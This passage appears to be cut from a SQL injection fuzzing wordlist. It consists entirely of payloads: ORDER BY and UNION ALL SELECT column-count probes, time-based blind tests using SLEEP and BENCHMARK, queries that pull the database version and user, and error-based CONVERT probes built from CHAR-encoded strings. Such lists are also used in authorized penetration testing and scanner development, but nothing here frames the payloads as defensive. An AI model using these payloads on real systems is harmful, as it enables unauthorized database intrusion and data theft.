1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION ALL SELECT 1 UNION ALL SELECT 1,2 UNION ALL SELECT 1,2,3 UNION ALL SELECT 1,2,3,4 UNION ALL SELECT 1,2,3,4,5 UNION ALL SELECT 1,2,3,4,5,6 UNION ALL SELECT 1,2,3,4,5,6,7 UNION ALL SELECT 1,2,3,4,5,6,7,8 UNION ALL SELECT 1,2,3,4,5,6,7,8,9 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION ALL SELECT 1# UNION ALL SELECT 1,2# UNION ALL SELECT 1,2,3# UNION ALL SELECT 1,2,3,4# UNION ALL SELECT 1,2,3,4,5# UNION ALL SELECT 1,2,3,4,5,6# UNION ALL SELECT 1,2,3,4,5,6,7# UNION ALL SELECT 1,2,3,4,5,6,7,8# UNION ALL SELECT 1,2,3,4,5,6,7,8,9# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# UNION ALL SELECT 1-- UNION ALL SELECT 1,2-- UNION ALL SELECT 1,2,3-- UNION ALL SELECT 1,2,3,4-- UNION ALL SELECT 1,2,3,4,5-- UNION ALL SELECT 1,2,3,4,5,6-- UNION ALL SELECT 1,2,3,4,5,6,7-- UNION ALL SELECT 1,2,3,4,5,6,7,8-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION SELECT @@VERSION,SLEEP(5),3 UNION SELECT @@VERSION,SLEEP(5),USER(),4 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION SELECT @@VERSION,SLEEP(5),"'3 UNION SELECT @@VERSION,SLEEP(5),"'3'"# UNION SELECT @@VERSION,SLEEP(5),USER(),4# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# UNION ALL SELECT USER()-- UNION ALL SELECT SLEEP(5)-- UNION ALL SELECT USER(),SLEEP(5)-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5)-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT NULL-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))-- UNION ALL SELECT NULL# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))# UNION ALL SELECT NULL AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL 